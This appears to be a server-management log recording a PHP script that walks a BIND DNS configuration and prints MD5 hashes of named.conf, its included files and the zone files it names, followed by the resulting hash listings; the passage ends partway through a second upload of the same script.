MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:54:47: Establishing a connection
2026-04-30 16:54:47: 

PUT: /tmp/pkp941618

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:54:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp941618; rm /tmp/pkp941618'

2026-04-30 16:54:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:55:19: Establishing a connection
2026-04-30 16:55:19: 

PUT: /tmp/pkp302246

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
